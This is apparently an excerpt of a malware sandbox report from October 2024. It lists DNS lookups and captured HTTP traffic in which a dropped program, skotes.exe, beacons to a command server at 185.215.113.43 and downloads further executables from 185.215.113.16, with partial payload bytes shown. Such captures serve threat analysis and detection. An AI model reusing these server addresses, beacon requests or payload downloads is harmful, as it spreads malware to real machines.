Oct 31, 2024 20:53:05.239447117 CET	1.1.1.1	192.168.2.4	0x309c	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:05.242832899 CET	1.1.1.1	192.168.2.4	0xaad9	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:05.245260954 CET	1.1.1.1	192.168.2.4	0xbe32	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:05.946145058 CET	1.1.1.1	192.168.2.4	0xd3d1	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:07.738300085 CET	1.1.1.1	192.168.2.4	0x748e	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 20:53:07.738300085 CET	1.1.1.1	192.168.2.4	0x748e	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 20:53:07.738300085 CET	1.1.1.1	192.168.2.4	0x748e	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:07.747375011 CET	1.1.1.1	192.168.2.4	0xe399	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.025073051 CET	1.1.1.1	192.168.2.4	0x73be	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 20:53:09.025073051 CET	1.1.1.1	192.168.2.4	0x73be	No error (0)	star-mini.c10r.facebook.com		157.240.253.35	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.025743961 CET	1.1.1.1	192.168.2.4	0x411c	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 20:53:09.025743961 CET	1.1.1.1	192.168.2.4	0x411c	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.025743961 CET	1.1.1.1	192.168.2.4	0x411c	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.025743961 CET	1.1.1.1	192.168.2.4	0x411c	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.025743961 CET	1.1.1.1	192.168.2.4	0x411c	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.025743961 CET	1.1.1.1	192.168.2.4	0x411c	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.025743961 CET	1.1.1.1	192.168.2.4	0x411c	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.025743961 CET	1.1.1.1	192.168.2.4	0x411c	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.025743961 CET	1.1.1.1	192.168.2.4	0x411c	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.025743961 CET	1.1.1.1	192.168.2.4	0x411c	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.025743961 CET	1.1.1.1	192.168.2.4	0x411c	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.025743961 CET	1.1.1.1	192.168.2.4	0x411c	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.025743961 CET	1.1.1.1	192.168.2.4	0x411c	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.025743961 CET	1.1.1.1	192.168.2.4	0x411c	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.025743961 CET	1.1.1.1	192.168.2.4	0x411c	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.025743961 CET	1.1.1.1	192.168.2.4	0x411c	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.025743961 CET	1.1.1.1	192.168.2.4	0x411c	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.025890112 CET	1.1.1.1	192.168.2.4	0x4127	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 20:53:09.025890112 CET	1.1.1.1	192.168.2.4	0x4127	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.035048962 CET	1.1.1.1	192.168.2.4	0x2517	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.035048962 CET	1.1.1.1	192.168.2.4	0x2517	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.035048962 CET	1.1.1.1	192.168.2.4	0x2517	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.035048962 CET	1.1.1.1	192.168.2.4	0x2517	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.035048962 CET	1.1.1.1	192.168.2.4	0x2517	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.035048962 CET	1.1.1.1	192.168.2.4	0x2517	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.035048962 CET	1.1.1.1	192.168.2.4	0x2517	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.035048962 CET	1.1.1.1	192.168.2.4	0x2517	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.035048962 CET	1.1.1.1	192.168.2.4	0x2517	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.035048962 CET	1.1.1.1	192.168.2.4	0x2517	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.035048962 CET	1.1.1.1	192.168.2.4	0x2517	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.035048962 CET	1.1.1.1	192.168.2.4	0x2517	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.035048962 CET	1.1.1.1	192.168.2.4	0x2517	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.035048962 CET	1.1.1.1	192.168.2.4	0x2517	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.035048962 CET	1.1.1.1	192.168.2.4	0x2517	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.035048962 CET	1.1.1.1	192.168.2.4	0x2517	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.036072969 CET	1.1.1.1	192.168.2.4	0x2071	No error (0)	star-mini.c10r.facebook.com		157.240.252.35	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.036083937 CET	1.1.1.1	192.168.2.4	0x152d	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.042496920 CET	1.1.1.1	192.168.2.4	0x97b2	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 31, 2024 20:53:09.042496920 CET	1.1.1.1	192.168.2.4	0x97b2	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 31, 2024 20:53:09.042496920 CET	1.1.1.1	192.168.2.4	0x97b2	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 31, 2024 20:53:09.042496920 CET	1.1.1.1	192.168.2.4	0x97b2	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 31, 2024 20:53:09.045191050 CET	1.1.1.1	192.168.2.4	0x5779	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Oct 31, 2024 20:53:09.045939922 CET	1.1.1.1	192.168.2.4	0x4582	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Oct 31, 2024 20:53:09.050527096 CET	1.1.1.1	192.168.2.4	0xdf34	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 20:53:09.050527096 CET	1.1.1.1	192.168.2.4	0xdf34	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.050527096 CET	1.1.1.1	192.168.2.4	0xdf34	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.050527096 CET	1.1.1.1	192.168.2.4	0xdf34	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.050527096 CET	1.1.1.1	192.168.2.4	0xdf34	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.052684069 CET	1.1.1.1	192.168.2.4	0x22b3	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.061433077 CET	1.1.1.1	192.168.2.4	0xa1b7	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.061433077 CET	1.1.1.1	192.168.2.4	0xa1b7	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.061433077 CET	1.1.1.1	192.168.2.4	0xa1b7	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.061433077 CET	1.1.1.1	192.168.2.4	0xa1b7	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.062669992 CET	1.1.1.1	192.168.2.4	0x13a8	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:21.454243898 CET	1.1.1.1	192.168.2.4	0x4470	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:22.090257883 CET	1.1.1.1	192.168.2.4	0xe635	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 31, 2024 20:53:38.489665031 CET	1.1.1.1	192.168.2.4	0x409a	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 20:53:38.489665031 CET	1.1.1.1	192.168.2.4	0x409a	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:50.518140078 CET	1.1.1.1	192.168.2.4	0x3856	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 20:53:50.518140078 CET	1.1.1.1	192.168.2.4	0x3856	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:58.494330883 CET	1.1.1.1	192.168.2.4	0x4962	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:54:15.942027092 CET	1.1.1.1	192.168.2.4	0xc6c5	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:54:19.883174896 CET	1.1.1.1	192.168.2.4	0x4e31	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:54:20.589431047 CET	1.1.1.1	192.168.2.4	0x9c4a	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 20:54:20.589431047 CET	1.1.1.1	192.168.2.4	0x9c4a	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:54:39.139004946 CET	1.1.1.1	192.168.2.4	0xdf68	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:54:39.765403032 CET	1.1.1.1	192.168.2.4	0xa9bd	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 20:54:39.765403032 CET	1.1.1.1	192.168.2.4	0xa9bd	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:56:00.209039927 CET	1.1.1.1	192.168.2.4	0x9e9d	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:56:00.217734098 CET	1.1.1.1	192.168.2.4	0x7829	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:56:00.242425919 CET	1.1.1.1	192.168.2.4	0x7829	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:56:00.897156000 CET	1.1.1.1	192.168.2.4	0x8ce2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 20:56:00.897156000 CET	1.1.1.1	192.168.2.4	0x8ce2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:56:20.762551069 CET	1.1.1.1	192.168.2.4	0xa9a2	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:02.261893988 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:52:03.213745117 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:52:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:04.776223898 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:52:05.824572086 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:52:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 32 39 37 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 32 39 37 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 32 39 37 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 32 39 37 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 1c5 <c>1002975001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1002976001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1002977001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1002978001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#1002979001+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	185.215.113.16	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:05.835977077 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 20:52:06.775492907 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:52:06 GMT Content-Type: application/octet-stream Content-Length: 2940416 Last-Modified: Thu, 31 Oct 2024 19:29:44 GMT Connection: keep-alive ETag: "6723daa8-2cde00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 f0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 30 00 00 04 00 00 c6 ce 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ/@ 0-@Th@ ~@.rsrc@@.idata @hdsdqunw0"@hndbucrw/,@.taggant0/",@
Oct 31, 2024 20:52:06.775516033 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 20:52:06.775532961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 20:52:06.775608063 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 20:52:06.775624037 CET	1236	IN	Data Raw: ae 59 9b 39 5a 84 f5 94 4b 0a ce ec ce f9 1f ff bf ed 57 1a 60 8d 17 f1 c4 49 47 94 13 2f 92 d4 c5 a9 6f c6 f1 96 f3 48 9e 99 55 ee 42 22 09 1d 8d 15 95 84 5e 6c 73 07 20 71 22 66 92 05 9c 07 c3 e8 fa ad 5d 48 c7 ed c6 82 1b b1 d5 02 c8 c0 92 e5 Data Ascii: Y9ZKW`IG/oHUB"^ls q"f]Hf`wz3`),>r+%.2"sj>6xC"RFNkc1`ur6EfRG@A $GE?@u
Oct 31, 2024 20:52:06.775640011 CET	960	IN	Data Raw: a7 7e 61 ab cc 78 40 25 1c 95 7f b6 56 6a 7e 9b 21 b3 8f f6 11 0a f1 4b f3 39 93 e4 50 7e a0 44 76 e5 2e 0f 61 fc 26 df 21 12 f0 48 73 81 c4 4d 5e 25 15 b9 d7 e1 4a b5 25 42 d5 f7 82 ea 16 f7 8b c1 7c a7 4c b9 76 de 91 25 ab 08 e1 63 9c 92 5f 22 Data Ascii: ~ax@%Vj~!K9P~Dv.a&!HsM^%J%B\|Lv%c_"D]<#fq_Z\aAz\y_WjaRL) 1g*Cr^BE9Yjn+Bq<(K6gGfhd"d(S%
Oct 31, 2024 20:52:06.775655985 CET	1236	IN	Data Raw: f3 96 89 86 50 96 98 98 bc 52 4b c6 5e 3b 39 9f 1a f6 b7 e7 2f 12 20 97 5e 9b 49 bb e5 13 49 00 a3 05 8b d5 81 c0 5c 3e 0e 53 bb 6f 99 a7 b4 c6 bb c1 d9 0a a5 68 c6 bb ab bb 60 20 4b 27 58 01 de 58 c3 77 db 6a be 7c ef 41 fa 6b 92 0d 0f cf db d3 Data Ascii: PRK^;9/ ^II\>Soh` K'XXwj\|Ak6Msz!m\vD c:LFapIAZ}<jiNJp8:kR%_B#J]>ahuJ-RL#m1FmSB^kh0ok0k
Oct 31, 2024 20:52:06.775672913 CET	1236	IN	Data Raw: 50 1b 63 d8 ba 7d 22 2f 66 86 ca 8b d9 a1 30 bb 2f 9d 28 7b 35 9a 9e 02 fe 68 4f 88 72 e2 17 dd 2e b3 7b 4b 60 66 b8 28 58 25 1b 58 8f 20 ab a3 61 db 41 36 b7 9f cf 11 0d 52 2e 8e 70 49 95 2e a2 ca ac 05 f4 8f 19 7d 91 8e 67 0c 8d ea e0 15 f0 8a Data Ascii: Pc}"/f0/({5hOr.{K`f(X%X aA6R.pI.}gbapRsy`SR5`fP/W4R]XKxf="H8@7r(y;*]1.7^m]lW~Z/0z,
Oct 31, 2024 20:52:06.775772095 CET	1236	IN	Data Raw: 23 57 c6 77 e4 39 be e0 b9 ad 2a 75 17 cf 3e c4 61 45 e0 19 61 ad 20 76 5d dd ad c3 89 89 76 37 f0 0b 54 63 f2 5d 9b b7 2d 68 56 ac d4 19 56 a7 70 3d 66 64 53 90 ff f9 c1 92 5b 63 ca 96 71 a4 78 cf e7 81 43 70 5c 52 d8 a6 70 7b db ad 4b 25 5d 82 Data Ascii: #Ww9u>aEa v]v7Tc]-hVVp=fdS[cqxCp\Rp{K%]`\]t<ka^T_#k!D:FMAqg>VyW$#4~Jjp_<sa~cv~5]Vtp,VEVM}4{k6P)m
Oct 31, 2024 20:52:06.775794029 CET	1236	IN	Data Raw: 2c 9b a0 0b 41 f2 a7 87 9a 6a d5 03 f9 31 f2 01 8b 65 98 f4 ef dd 1e 45 0d a9 d9 47 2c e8 ac 8d e6 d8 6d 1c 91 f2 3e f6 ea 72 c5 12 5b 8c a1 cd ac c1 5f ba ec b1 54 8c db 0f ff b8 4d 64 00 16 2b 97 43 d9 92 a5 99 92 3d 70 38 52 62 1b 1a c6 95 1e Data Ascii: ,Aj1eEG,m>r[_TMd+C=p8RbOqe-}r2`Cq6A@jBkYyxi^:Z3+d\|BpK)!HG_Ps/pK1M)\-$FZEk%iloD$z8Z
Oct 31, 2024 20:52:06.782469988 CET	1236	IN	Data Raw: 4a a7 fc bc 9b 89 5a 7e d9 9c 6a 39 65 4e 43 7e db 92 5e 87 d3 b9 24 c6 d6 92 c4 c5 f4 9d 4e a1 9f 99 51 d1 9a 12 a7 7e b4 2d 46 cd b9 26 6c 2f 0e 9a ef 86 02 ce 72 b9 32 1d 91 02 a6 bb 5b 3a 4a 70 92 29 e4 0d 22 16 11 a9 ce fc 72 de 48 58 79 c8 Data Ascii: JZ~j9eNC~^$NQ~-F&l/r2[:Jp)"rHXy7AC0#us3:rqxU[wBbdx`p7Ze_m}Fq=>;}0F;"R?ii-j9TcDB cntz?Mhe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:14.532011986 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 39 37 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002975001&unit=246122658369
Oct 31, 2024 20:52:15.416388988 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:52:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	185.215.113.16	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:15.425436020 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
